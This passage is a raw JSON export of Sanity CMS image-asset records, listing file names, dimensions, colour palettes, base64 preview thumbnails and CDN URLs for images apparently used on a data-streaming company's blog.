","background":"#f4e0ab","foreground":"#000","population":0.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a6f99","foreground":"#fff","population":1.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e49210","foreground":"#000","population":3.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"e2df684e3fd8db097482381a6c417a3d7ce6c991-425x567.jpg","path":"images/sczeoy4w/production/e2df684e3fd8db097482381a6c417a3d7ce6c991-425x567.jpg","sha1hash":"e2df684e3fd8db097482381a6c417a3d7ce6c991","size":76932,"uploadId":"vdvDaljikn6yOXDJMy8KLdGyplbN15Aa","url":"https://cdn.sanity.io/images/sczeoy4w/production/e2df684e3fd8db097482381a6c417a3d7ce6c991-425x567.jpg"} {"_createdAt":"2022-06-30T20:09:19Z","_id":"image-f49ee1611dab4c131034abaaf00ee33c43adef50-339x675-png","_rev":"cEPH2uRN58AU2lp9QO89BR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:37Z","assetId":"f49ee1611dab4c131034abaaf00ee33c43adef50","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"c2SF^b1W00+.;D#a00Ewo]4.E0%M}w^TwQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.5022222222222222,"height":675,"width":339},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAoCAYAAAD+MdrbAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEmklEQVRIiZVWa3PbNhDk//85nbaf+kj9kj1xJmk6aVM5limRskiJJECCAAE+tJ07iLZsy7HqmfVJHGGxh9s7MPj191P88tsJ3p2c4/RsgrOzC5yeXXC8uLjEZHKFyeXxCGZhjOm3EIvoHlG8xF04x2wW4u4uxGqVQEiJsiyPRlBIhXUmUVYaqtaQZQUhShRCQpsG/TBguwWG7fZtDFsEpTIoZA0iLmQFUdao6gZKW9TGwdj2KDS2hXUtAlFppJnEYpniZhYhjFbIhEJZ2/8FpS2MsaSwQS4Vkk3BpMskg6gMlHGMShPsd+B8pKxqjaDWFrKqIShlUXGk7/5MG5iG0ulewj1+Nk3Lvy2rGkEhSiyiJW5nc8zCBcJFjLtwwUjSDKZxaLsBru0PwjoidEwoS4WA/sXL1Y4kwnyxRDiPGek6gzaWF1nnCYi87Xx8JGyhagMhK0q54VSzXGKTC2xyyZ8ZBdmHKq9YAS1+VPuo2rqOCfOiREAKZKV5EdlmPEeK9AMipVgqzef1POW2G1i9J5QIHPmnbtBQ2ZsR7gGNdTuPdWgfUh5epK5GwkbWKOMMdV5ByhKbLOdonWPn73fBSwzoeyLuQEfHhCKTmN3GWKUZ7lcJbm9niOMlaq2x3W5fBf1R7PsebdtBa8PnHijTYCkkMkXeUygKgapSaNv2ycJDfyN53/fc96zQti3KuoasFBMaGgj98GTBW0qHYcttV1CVrXWQkioqeIe61rzjPuEhZftxGAlFiaCxFkKSNQTHprH8g0MLXyMenir0hFkudjPQsMLnab1N2OxsY0mqxHqTs2WInI5hX91xZ9jsisJnSP4rkOUFF8btVRjHKmxIWIWADEyqvMJiV5ThqAozQIQDnz0Ph67rmZ2GY10bOOfV0eaH4YnGDtqSD4eBi8KElB65nJQpVTO01v6Zpk086DuBikhFe2zHAV3fPxIqpbBc3mM+XyAkhHMsoghRHGO+WPB1SuDniwibLNtlsdd6XcdFYUJjDNabDVZJgiRJOKbrNT9L0zXfzSOSNIUsS3Rd91CUgRR2ewqpZym1MV2qMvWyT53O1DEBgVPle/qppYb9orBtShqs/nIngxPIU35IdK8OhYOEjkaPafyhU9yBzoSGK6VDCw7Pwy2DbPaQMjGTwjFVIaSHlHxe5kArPrHO8OwMi0piuprha3qDL8u/8fHbJ/w1/YLpzQ3uwhBZlj8pwr6h9wesGav8VU9xlV9jUlxhkl/iND3H++Qat+s7bPKMi0O2IPO+QO89yBN7JPxJ/YyzzQSf13/jy/orPuafcanfY2q/obIalt8O2tfhKDruMib8ofwR71anuF5+wof4T1wl1zivLvGPmUIY5W8/vvl8fI6G377ozWFH+K+Z4ip7j5P0HH8k5zhJL/Ah+4Qwj5AJwTtzyrv0Oo4jev+883cKE2pnsKpSzGWEUEaYixj3RYqsEFz98Y7ZHwjD94ZD23ZoKC1D73fkRw9SRlOI1H3Xh9tnPqR5SGOfxhd5kV+Jpe+ascJvzUTakDZ/UEj9Si1IJvcq/eii62E09VsT+6H1jp7Mb9wpI+F/gm0NM95AbRsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283034","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#502440","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#29e82a","foreground":"#000","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa6bf","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93f09d","foreground":"#000","population":0.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#499c8e","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#29e82a","foreground":"#000","population":0.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f49ee1611dab4c131034abaaf00ee33c43adef50-339x675.png","path":"images/sczeoy4w/production/f49ee1611dab4c131034abaaf00ee33c43adef50-339x675.png","sha1hash":"f49ee1611dab4c131034abaaf00ee33c43adef50","size":58165,"uploadId":"gfYg9ZdUiwNo0ZediBX0OoiTCrDyeiQp","url":"https://cdn.sanity.io/images/sczeoy4w/production/f49ee1611dab4c131034abaaf00ee33c43adef50-339x675.png"} {"_createdAt":"2023-02-02T13:42:08Z","_id":"image-14c02b1ac7c8145c9d06f9e1418ec0953fc85101-1567x844-png","_rev":"pnOvEyahjeT2Gte9fkMib5","_type":"sanity.imageAsset","_updatedAt":"2023-02-02T13:42:08Z","assetId":"14c02b1ac7c8145c9d06f9e1418ec0953fc85101","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHEUr,1*iav{JE0|}rKRw}jp9^%0-C5lv~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACkklEQVQokV2R20sUURzH5w/ptuJlF23Omd2d2d2Z2XV3RpPVFNFx795W2c0ib2St6UMGhhgEJhkS9mBIEEIY+FIvRpDQS/XQQxT+BdXbSNbs+cZM3h8+nN8Pzvmez/kdThRFhEIhB1mWoSgKVFVFfX29g13beyilIIQ4K6XkEEKO9xRcNBpFV1cXstks0um0QyKRcPre3l4YhoFwOAxBEA4P2SEH0P3Q/zUFp2kauru7MTQ0hEKhgHw+7/R9fX0oFovo6elBPB6HJEknQgThyIoes+bsZ9lG/f39Tkgmk0EymXRM7TCbjo4OhMMq5ABFPHYRiXgtWrQ6iH4C3hnDEZx9sx2q6zpsW3sEB8RiGjRNhxYNo02jKKUqsTZ6AZsTLjzM1SCl8pAphUAo+H24I+XTEAiUQBF5JPU6zOU82CpVYefOWeyMncF2pgqrjQSTiheGTNGg8KgP8eDsnzuNlwqQfAFEVA3pjjbcG81ibW4E6/M38GykFU8NDzY6q/EpV4fPAzxeXffg8WgVpvM1jiE7icCCSiNrMsaYcW2JDd1dZ1OLb1hp6T27MrvJBgojbCZP2Uapgn2/X8F+PXLh57KLfXtQiRfjbnABgUIR/ZCDQYiiH4LXBzWeQ3ryOcaWtjG8sIX09Es0X11GLFVCKtmClckabC+ew7uF89icdbG3tzz4Mihis1UGp3qppYcCViwSsYLBoCUIPkvRLpeHJybKK0sldvvmYFlv7rT8sm75xIDVGCHWeMZdnitUl2dybjbdXosnl0T2MdzAvkot4PwCMSWf15REv+nzeU1CqCkHhN2ZIr/3er7673Sf+3fQz5s8T0xKiSlQYob8/K6h1v2ZitWyVZ3gQ1RmP5Qmtie14x83gp8jHBoh2QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283559","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#382b0c","foreground":"#fff","population":0.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b01a","foreground":"#000","population":8.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1d1d1","foreground":"#000","population":2.46,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67a4f6","foreground":"#000","population":4.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94a17c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b01a","foreground":"#000","population":8.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Flink_GA_announcement_blog_ (1).png","path":"images/sczeoy4w/production/14c02b1ac7c8145c9d06f9e1418ec0953fc85101-1567x844.png","sha1hash":"14c02b1ac7c8145c9d06f9e1418ec0953fc85101","size":72804,"uploadId":"9fP5c7srabD6RHPi3bJ2GLXnx40QVLe4","url":"https://cdn.sanity.io/images/sczeoy4w/production/14c02b1ac7c8145c9d06f9e1418ec0953fc85101-1567x844.png"} {"_createdAt":"2023-01-10T12:12:54Z","_id":"image-79927bfa4b72aaf5131c6c77f439589034a50998-386x387-png","_rev":"E0WcOAmhawew35VucCreYI","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T12:12:54Z","assetId":"79927bfa4b72aaf5131c6c77f439589034a50998","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIKwd[00Te%LH@?b?HMxtQs.00~p4oIUx^01D%V@IoWX02M{X9M{s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9974160206718347,"height":387,"width":386},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAFdklEQVQ4jTXP61fThwHG8d/fsJ1t4hGFgitqLR6w1m3HVo6uiJZ7CISQAEK4JFwCDCUtl0KIEaml3kVAAc1EQUFQcCpw0IGWIpco1UAqIaARohAuFt2b7w7s7MX37ec8j7DWaTXrXVz49OP17PTejFK8l4riLJqryrhS/iPab3MQhYbhtW0Hrhu8cf6zFy4e3rh4eLHGfQtObp6sdvNkjfunOLtvRnB2Wo2L81o83Fzx3uBG8JdbOayOofncETqunqet7gK1p45SlKNmf1QEe3x92fr533Db4MUq1838ad0nOLl+wiqXTfzR2QMh0t8Xkd9ugr/yQbLPhwxZIGfzU7ld9T3/vlZN3+1GjJ0tPP5XHfeunMJwshDdNypipGHs9NnNJs/PWefuyaq1G/nDGg+E5vIS6k/puXysiPoThbRW6OmoLeP+5dPcr6/m0c0Gnna1YXl8j5dDd7D23+JZdwNdzZXUnNahyVQSFBiA19a/8NH6zQgjXU0sZ+pqxNTZwLP2Kzy5U0d/ax0/t13n8d1bDD+4y/jgA+zmXhzWARyTRqZf9DL+9B4DDxpovHScQ3lq4mVhCDbjfWxPlnvAK2MXEwOdWPo6MPd2MNzdTt/dFnpaLjPUcZ2Xz3qYe21izj7GlHWYyZGHTJq6sP7Szi8/NdHdVo0wOzbArGWQWYuRGcsQdnM/tud9jA310NNaT8OxAq5r4+k4no6xrZKpF/0szkzgmB7/H2r+iVfmh8xMPGbeNoQwY33K9JiRl6OD/PqkF+PDTh61t9LaYOCHvAx0kTu4odpOX+Eefj6twtzTxLx9jKX5KX6bszH/1oJjyszCm19ZclgQuu80cffGVa4Zajl/5gxH9Uco/LaATJUKyZ4vUH75EYYYT7oPfkFXYTADN87wZtK0gi05Jnk//4r3C69X+rBgQyjWZJGXpSZLlUZSnBK5VEGsTIFCKkXss3UF/DFkI3WxW7iVvYe+qyeYtjxn4e0EC6+f8+6NmfcLNv7zzr6SkBItIUkWSVxkFLJwGREiGWlJKrTZKSiDdpDm48Z3X7lxIuhjWrJ8MTadZcoywpx9knmbiUX7KO/nbXz4P6iSi0mKCidOEoFMHIFEFIFGraT6hxzyEoKQ/tUduZcTB3eu42KqH8Zb1UyPm3BMTzBvH+fdrJWl5duLU3xYnEJIjhKhiAwlJjwUqSgUSUgQmhQZDefyKctXsm/7Jnzcfo9821pOqiMwdjZitz5n5vUL5uwWFt9a+M1hZWnu5QosxEtCiA0PRiYKIiIkEHHgXlQxIRzTZZKrjmeX90a2rfsdYdtcOZWzH2NXM6/Mg9itw8zaTMxNjbBgH2Xx7djKWiEmLBC5KBBpqD9SkT9ycQBx0mASosMRf70bP6/1SD9bQ4G/B//UhNF99RhP7jcy2t/OpOkRdks/jslBFmzDvJseQVjGokQBRIcHkB4nRpsZS1FmLEq5CLGfD/v/7kWZZAuNqdu5pgmgvjSNm+cKuWc4SveNCoY6r2B62MRo703MfbcRpMvrRAEkykLRZ8dRU5LBBb2akgPxHFCEo4n1pyLdj+Zcfy7nS6gsiKdGp8RwOAVDaQaGMg3nSjWUFWdTWpSNEB7sjyTUH2WMmMMHFFTq0qldQdMpL1JxMi+B8txoar+LxqBLoFaXtFK1NoGKgniOHtyPOjGKSJkUsUyO4L/XF3HwPpLkYg4q5Rz6Rxxni1K5eCSDS6UZVOtTqdAmc744kYv6JC7pk7l4KIkLWgVncmMpyZSRk64gOy+f3CNlCLt270Ic/DUJMjGKKDEZ8RK+/yaRKr2amhI1F/QpVBYnU1WcyHmtghpdIjWHkqnSJnBcI0eXFoFOo+JsRTn1La38F0NSKx0R9xtXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#604234","foreground":"#fff","population":4.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040414","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#957d64","foreground":"#fff","population":4.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dac5ae","foreground":"#000","population":3.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8d694","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#957d64","foreground":"#fff","population":4.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b16e37","foreground":"#fff","population":4.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jonah.png","path":"images/sczeoy4w/production/79927bfa4b72aaf5131c6c77f439589034a50998-386x387.png","sha1hash":"79927bfa4b72aaf5131c6c77f439589034a50998","size":210820,"uploadId":"aYLUuhXWCO64dkQRxN7a3QdFQ5vreI6d","url":"https://cdn.sanity.io/images/sczeoy4w/production/79927bfa4b72aaf5131c6c77f439589034a50998-386x387.png"} {"_createdAt":"2022-09-30T15:37:13Z","_id":"image-173f64b14b5c85f9c96325f6aab04babba6b20e8-800x400-png","_rev":"vDQRRYe9nRreptIRp5oYjJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:42Z","assetId":"173f64b14b5c85f9c96325f6aab04babba6b20e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5QTG.?Y^ux^Eo~p${M_RPxu~kozIUslt2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":400,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwUlEQVQokR3P2Y6bMBhAYd7/zaqRppqmmhARMODl94K32GBjm6iaSufquzsdFceM/bi4lcXNVb+/ta8rxGn1K+zKNRffNlyw5Qn7YXbD7J6zW1hQrnZcRkotoQZE0DZZf262YJ4nkmZ2EnVx85b2ojI/Jt+PfsJxoTvhSdnaSRUE11KabQtGuU1oISPhZSTtsbYBX4hdVJSVxq9v/XW3M01UZFCntLUT28GFl8prHTTfJAYBjkB+ktbP12O5RlIJi5TY/unuU1ghM3EyVYRpHWwZQ8QQuYxKeCm8lIFCQiSP+BxJm1mlsHP+wvAzssC5sBPzAlvtQJeZnU+cxzWtNDORhAgY+2FQj8Hcp9zPBUMS8iC8IFbn/y1QQbeO64pY/Ub19iyPuS40AfMI2duNf36pX7f94ztP+AAeEUkjKVg0KhtTTdjW8a0gmnuUHnOeaKWicHlM6/6nD7/v8ePv/nlPiGYK8TGFHh0LO1comBeuWydNIRBX4hmPUufNVqkLIkeP9mFNI86InaB/EENa6I7ZjulBeBa6de7VrD2Mfln9ciY6X5QpCL8GZIk4tG82XDa8XbysO42OZgtmi8ZmG65/Ud0mbhwliuQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54566f","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77390d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#737894","foreground":"#fff","population":1.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a79b","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc74","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#737894","foreground":"#fff","population":1.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e16c19","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"173f64b14b5c85f9c96325f6aab04babba6b20e8-800x400.png","path":"images/sczeoy4w/production/173f64b14b5c85f9c96325f6aab04babba6b20e8-800x400.png","sha1hash":"173f64b14b5c85f9c96325f6aab04babba6b20e8","size":41271,"uploadId":"KCPyk0MYxO1sFdAHzjMUCXMxsjLWaZjG","url":"https://cdn.sanity.io/images/sczeoy4w/production/173f64b14b5c85f9c96325f6aab04babba6b20e8-800x400.png"} {"_createdAt":"2022-03-30T12:46:59Z","_id":"image-083f8a68b60c4e4ee32b32dcfc630496f80494d5-464x250-png","_rev":"6gt785RE12iLxRyFKf7MLh","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T11:10:08Z","altText":"The brave new world of Kafka made Adele tremble with excitement","assetId":"083f8a68b60c4e4ee32b32dcfc630496f80494d5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPR[_L{}xaB:;1X-%1OrWE#++vO?S#wbXA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856,"height":250,"width":464},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACa0lEQVQokU2RT0hTARzH33tzf9yec+a/UYzyYORAIkUK+2NZFl6ygg4WHk0S61Tu7b3nlu5tjm3u/5xtumYRNkHBQ9ahog6dlDDo4CkIo/BglhZzf977xhMPwuf6+X35/r4EIi2YuY35fsz1ItUJRy0YhYyFgoUEQ4KjJJbaHlQt91dm+hrfsue+jzbkBRrDCgLhJszcwvxdzN3B0+vwHYPLBHcdBCN4LYZKJLd6x61Z5WsnB1oHujsf9nS85pp++2vEgJaA+wiSFzF9DemrmLqC+GlMtCHRjmgzXEZJ0BRjup+xylfCyejoA57nLX03Fq3mzVBVPqYn5IRoC5KXZCFxHo/bMNGKkBk+E9wGyVOajZV9ChxOjXZPpxKzmczCpPAlemErUpuPlRNyycBxxM8ifkaOjZ9CyCw5K0S7sjiiLvh1m2H9G0d9cLh3MplcmH327sXYcrLna7jxV9hIgNXAVoGRGoxUyziq8Ki8yKlyjCLLqf75yn5EqxedJ/yOe+lE6EOaWYl1LfnbP481rwVMhPzS/TCkZCELg1TOosjxyk1X2ZK3Pi10hT3cYsr2LXF5y2fc8NVsBI1/IwcIMNTuNpS8CrN3QrSQIkuJNsW6jX7JNobY7iee+ytTN7fH6wru0oJPW4zQUkxHyHvYy2HXg1XLJyzEHlZSYqk/XOlH69HnbMd7T8f6hDk7Xpn16rJeOh+gxaCWgN0A50E4jBiid2VyT2ZIyUrt8Oo14dCqt2Hdb8oGDLmgPufRFlwa0amSHEoCrAqcDpwWVuV+EyyFIYU4rMx56FzIUPRqRZdadKgkewl4Cla5438/3Vv0QFuVOAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4739","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#943205","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":36.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb3a6","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9cb7e","foreground":"#000","population":0.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84649c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":36.71,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Apache_Kafka_explained_Other-Templates-blog_03.png","path":"images/sczeoy4w/production/083f8a68b60c4e4ee32b32dcfc630496f80494d5-464x250.png","sha1hash":"083f8a68b60c4e4ee32b32dcfc630496f80494d5","size":52213,"title":"The brave new world of Kafka made Adele tremble with excitement","uploadId":"ya4Ndrg0gsVspShZ3AuqnZ4qpLfIXnFg","url":"https://cdn.sanity.io/images/sczeoy4w/production/083f8a68b60c4e4ee32b32dcfc630496f80494d5-464x250.png"} {"_createdAt":"2023-03-02T12:39:33Z","_id":"image-7896eabf58ccd613153062fda8868e51adca20e4-794x252-png","_rev":"zGsPSGo9JGPfNa4sHs8Aye","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T12:39:33Z","assetId":"7896eabf58ccd613153062fda8868e51adca20e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1507936507936507,"height":252,"width":794},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA3klEQVQYlSVQR24DMRDb/380XjtWmaapcqD4RgIE24XzJhhraVXtygqtjIP33hX7UNv7S7Ns7bCD9/58PpfgUxjMrCorXQWFca3l7unqAipophFZYc5TGcP9634hTqKjjogw5dHn+xd6FwQTNiYmFBE3j/DFRABLjnVVXZOVl6p5uAehPB/0uqV3HcN7d5i25ESdWqEogmxqmVm1rwaCLLJUl/occv9wextzMkfv2t6C+M1JDxlEA3VpZp7aY8KYEwCZSEen+4Gv1wIIgGiNWwMAETmjIpkYJiDx/0f7D0vQW02q7/11AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6368","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#922e6a","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9c5b60","foreground":"#fff","population":0.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cea49e","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8de80","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5b60","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9154","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"internal-integrations.png","path":"images/sczeoy4w/production/7896eabf58ccd613153062fda8868e51adca20e4-794x252.png","sha1hash":"7896eabf58ccd613153062fda8868e51adca20e4","size":23717,"uploadId":"D7AYhzCJbc5wtUtBlQJrNe010XNhfSRS","url":"https://cdn.sanity.io/images/sczeoy4w/production/7896eabf58ccd613153062fda8868e51adca20e4-794x252.png"} {"_createdAt":"2022-12-22T14:26:23Z","_id":"image-ed180026fb588a195d96b96c6b017de16528dea9-2500x2500-png","_rev":"cmQvgZcsUwgFEQbM0VOLOp","_type":"sanity.imageAsset","_updatedAt":"2022-12-22T14:26:23Z","assetId":"ed180026fb588a195d96b96c6b017de16528dea9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCHv-d}s00031K}j$y5ZIv=v1J-o+uMe^PB=K6vf#6s:0MM|%ftl,q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#552f2e","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#580b05","foreground":"#fff","population":0.3